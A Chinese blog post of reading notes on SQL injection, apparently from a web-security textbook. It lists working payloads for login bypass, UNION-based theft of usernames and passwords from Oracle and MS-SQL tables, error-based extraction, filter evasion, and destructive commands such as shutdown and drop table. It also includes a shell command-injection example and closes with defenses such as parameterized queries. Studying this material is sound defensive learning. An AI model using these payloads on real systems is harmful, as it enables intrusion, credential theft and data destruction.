Web安全读书笔记4-SQL注入漏洞

shell 
echo $1

如果 ./a.sh  `ls -la` 就会执行ls的命令 代码注入漏洞

sqlzoo.net sql的在线教程

select author,title from books where publisher=’wang’ 其中wang是需要填入的

查询字符串使用 wang‘ or 1=1--                  --是SQL的注释
select author,title from books where publisher=’wang’ or 1=1 ‘
或者查询字符串使用
wang’ or ‘a’=’a
select author,title from books where publisher=’wang’ or ‘a’=’a’

均会造成查处所有的books 而造成漏洞

获得管理员的漏洞
select * from users where username=’wang’ and password=’secret’
查询字符串 admin’—
select * from users where username=’admin’- -‘ and password=’secret’ 避开 密码检查

如果不知道管理员用户名 可以使用
字符串 ‘or 1=1—
select * from users where username=’’ or 1=1- - ‘ and password=’secret’
返回所有用户名,一般第一个用户就是管理员用户

针对字符串数据,尝试使用等价字符串形式(字符串连接方式)注入
Oracle : ‘||’FOO
MS-SQL: ‘+’FOO
MySQL: ‘ ’FOO

可以在特定的参数中提交SQL通配符%

针对数字数据,例如2 尝试1+1或者3-1的方式注入

或者使用ascii漏洞
67-ASCII(‘A’)  等价于2

如果单引号被过滤掉,上一个例子就没用了,但是有时候数据库会隐含的将数字数据转换为字符串数据
51-ASCII(1)     等价于2       可能会隐含的转换

要注意使用SQL注入之类的缺陷时,必须要知道某些字符在HTTP请求中有特殊含义,要插入这些字符,必须使用URL编码
1 &和=用于连接名称/值对,所以建立查询字符串或者POST数据块,用%26和%3d进行编码
2 查询字符串中不允许空格,提交空格整个字符串立即终止,空格使用+或者%20编码
3 +被编码为空格,在字符串中使用+必须使用%2b进行编码
4 分号被用于分割cookie字段,必须使用%3b进行编码

insert攻击
insert into users(username,password,id,privs) values(‘daf’,’secret’,2246,1)
提交输入
foo’,’bar’,9999,0) –会造成攻击

SQL注入   提交时候会自动对字符串加上’’ 引号(SQL查询中的字符串数据必须包含在引号内,与查询的其他内容分隔开来)

当设法注入insert语句时候,可能无法提前知道要提交多少个参数,可在values子句中持续增加一个字段,由于大多数数据库会隐式的将一个整数转换为一个字符串,因此可以使用整数。
提交
foo’)—
foo;,1)—
foo’,1,1)—
如果1遭到拒绝,可以尝试2000,许多数据库会隐式的将其转换成基于数据的数据类型

update users set password=’newsecret’ where user=’marcus’ and password=’secret’ 改变密码作用
提交
admin’ – 注入 修改admin密码
如果注入 admin’- or 1=1 他会修改每个用户的密码  非常危险 where子句要非常小心

UNION将两个或者多个select语句结果组合到一个独立的结果中。


select author,title year from books where publisher=’Wiley’
提交
Wiley’ UNION select username,password,uid from users –
将会执行联合查询,返回最初的结果和users表的所有内容

使用union操作符联合查询结果,这两个结果必须结构相同,即相同的栏目数,想兼容的类型
NULL值可以兼容任何类型,所以可以用NULL替换
‘union select NULL –
‘ union select NULL,NULL –
‘union select NULL,NULL,NULL –
查询得到执行说明使用了正确的栏数
也可以
‘ order by 1
‘ order by 2
‘ order by 3 递增排序栏,知道发生错误就知道正确的栏数
确定好栏数,下一步找到使用字符串数据类型的栏
‘union select ‘a’,NULL,NULL –
‘union select NULL,’a’,NULL –
‘union select NULL,NULL,’a’ –
如果注入查询得到执行,将可以看到另一行包含a值的数据,然后就可以诗意哦那个相关栏的数据从数据库中提取数据
对MySQL SQLServer
‘union select @@version,NULL,NULL—
对Oracle
‘union select banner,NULL,NULL from v$version--

Oracle每一个select必须包含from,所以可以用全局可访问表DUAL来满足着要去
‘union select NULL from DUAL

识别时何种数据库
常用数据库如何连接字符串
Oracle  ‘serv’||’ices’
MS-SQL ‘serv’+’ices’ (URL编码成%2b)
My-SQL ‘serv’ ‘ices’

如果注入数字数据,可以用一下方式识别数据库。每个数据项都为0。
Oracle BTAND(1,1) –BTAND(1,1)
MS-SQL @@PACK_RECEIVED-@@PACK_RECEIVED
MySQL CONNECTION_ID()-CONNECTION_ID()

提取DBMS的metadata
Oracle攻击 查询字符串
http://wahh-app.com/employees.asp?EmpNo=7521
用union攻击
第一步
%20 空格 进行URL编码
http://wahh-app.com/employees.asp?EmpNo=7521%20UNION%20SELECT%20NULL%20from %20dual—
http://wahh-app.com/employees.asp?EmpNo=7521%20UNION%20SELECT%20NULL,NULL,NULL%20from %20dual—

用上面NULL的方式尝试确定栏目数
http://wahh-app.com/employees.asp?EmpNo=7521%20UNION%20SELECT%20NULL,’a’,NULL%20from %20dual—
上面的方式确定哪一栏是字符串。
第二步
然后就可以尝试查询 user_objects表,它显示用户定义的表以及其他数据
http://wahh-app.com/employees.asp?EmpNo=7521%20UNION%20SELECT%20NULL,object_name, object_type,NULL%20from %20user_objects—
查询有哪些表后可能查询到其中有USERS表(可能是保存用户名密码的),可以通过查询user_tab_columns 表查询这个表的栏目的信息
%3d等于号
http://wahh-app.com/employees.asp?EmpNo=7521%20UNION%20SELECT%20NULL,column _name,NULL,NULL%20from %20user_tab_columns%20where%20table_name%20 %3d%20’USERS’--
通过查询user_tab_columns知道USERS表的栏目为login和password,然后可以查询任何信息了
http://wahh-app.com/employees.asp?EmpNo=7521%20UNION%20SELECT%20NULL,login,password,NULL%20from %20USERS

MS-SQL中 系统表在
sysobjects中
http://wahh-app.com/product.asp?q=hub’%20UNION%20SELECT%20name,null%20from%20sysobjects%20where%20xtype%3d’U’--
hub那里有个’引号 因为select … from … where q=’hub’ 的提交注入方式是 hub’ –形式 最后 合成的字符串 select … from … where q=’hub’ –‘ 形式
而上一个例子因为是数字不是字符串所以不用加上’’ 引号
syscolumns 表 查询栏目信息
http://wahh-app.com/product.asp?q=hub’%20UNION%20SELECT%20name,null%20from%20sysobjects%20a,syscolumns%20b%20where%20a.id=b.id%20and%20a.name%3d’users’ –
然后就可以提取任何信息了

ODBC错误 显示数据库的有关信息(MS SQL)
select * from users where username=’wang’ and password=’yile’
‘ having 1=1 –
‘ group by users.ID having 1=1 –
‘ group by users.ID ,users.password having 1=1 –
通过错误消息来得到所有的表 提交到最后就不会出现错误了
然后使用
‘ union select sum(username) from users –
‘ union select sum(ID) from users –
来通过错误获取所有栏目的类型
然后就可以执行动作了
‘;insert into users values(123,’wang’) –
MS SQL允许用分号来执行几个SQL语句

通过错误返回信息
‘or 1 in (select password from users where username=’admin’) --

避开过滤
如果—注释号被屏蔽
可以用
‘ or ‘a’=’a
使用SQL行内注释,如果应用程序阻止空格,使用注释来冒充空格
select/*foo*/username.,password/*foo*/from/*foo*/users
使用注释避开关键字过滤
sel/*foo*/ect  username.,password  f/*foo*/rom  users

使用连接字符串处理被过滤的字符串
Oracle  ‘adm’||’in’
MS SQL  ‘adm’+’in’
MySQL  concat(‘adm’,’in’)

用字符串操作函数避开过滤CHR,Reverse,TRANSlate,replace,SUBSTR函数,如果引号被阻止,可以使用CHR函数插入
select password from users where username=chr(97) || chr(100)||chr(109) ||chr(105)||chr(110) 等价于admin

使用动态执行避开过滤
exec(‘sel’+’ect * from ’+’users’)           MSSQL
Oracle 可以使用 EXECUTE IMMEDIATE执行一个字符串

利用有缺陷的过滤   输入超长字符串 
如果应用程序将用户输入的单引号配对,且对数据截断到20个字符
提交 admin ‘ --  就会变成
select * from users where username=’admin’ ‘--‘ and password=’  ’  就无法避开登陆
但是输入
aaaaaaaaaaaaaa’(19个a加上一个引号)  这样在提交的时候先对应用程序引号配对,然后字符串截断为20个字符,将输入恢复到最初值
并且提交密码值 [空格] or 1=1 –
应用程序执行查询后变为
select * from users where  username=’aaaaaaaaaaaaaaa’ ‘ and  password=’ or 1=1 --’
‘’aaaaaaaaaaaaaaa’ ‘ and  password=’ 在这一部分中 中间两个引号被解释成转义的引号,因此’aaaaaaaaaaaaaaa’ ‘ and  password=’当做了一个用户名 ,引号后的or 1=1 – ‘将会破坏查询逻辑导致所有数据的输出(SQL 单引号为转义字符)
不必理会字符串长度,使用下面提交测试
‘’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’
a’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’
截断转义字符发生在一个偶数字符或者奇数字符后,无论哪种情况,都会在查询中插入数目的单引号,而导致语法失效

注入恶意命令
‘ shutdown—            关闭数据库
‘  drop table accounts –

有些查询结果被屏蔽,可以使用数字响应的方式获取有用的数据
ASCII(SUBSTR(‘Admin’,1,1))  返回65,
使用ASCII和SUBSTR两个函数,可以系统的将一个有用数据的字符串分割成单个字符,以数字形式分别返回一个字符。


SQL语法区别
ASCII SubString
获取当前数据库用户
引发时间延迟
获取数据库版本字符串
获取当前数据库
获取当前用户权限
显示用户对象
显示用户表
显示表foo的栏名称
与操作系统的交互

防止Sql注入
单引号在sql注入中地位突出,防御这种攻击的一种方法,就是将用户输入中的任何单引号配对,对他们进行转义(两个连续的单引号是要一个转义序列,表示一个字面量单引号,数据库把他解释为一个引用字符串中的数据,而不是结束字符串的终止符)

使用存储过程避免sql注入

使用参数化查询
参数化查询分两个步骤建立一个包含用户输入的sql语句
(1) 应用程序指定查询结构,为用户输入的每个数据预留占位符
(2) 应用程序指定每个占位符的内容
至关重要的,在第二个步骤中指定的专门设计的数据无法破坏第一个步骤中指定的查询结构,因为查询结构已经确定,且相关API(数据库或应用程序的API)对任何类型的占位符数据进行安全处理,因此它总是被解释为数据,而不是语句结构的一部分。

原理
在使用參數化查詢的情況下,資料庫伺服器不會將參數的內容視為SQL指令的一部份來處理,而是在資料庫完成 SQL 指令的編譯後,才套用參數執行,因此就算參數中含有具破壞性的指令,也不會被資料庫所執行。

你可能感兴趣的:(oracle,sql,Web,读书,asp)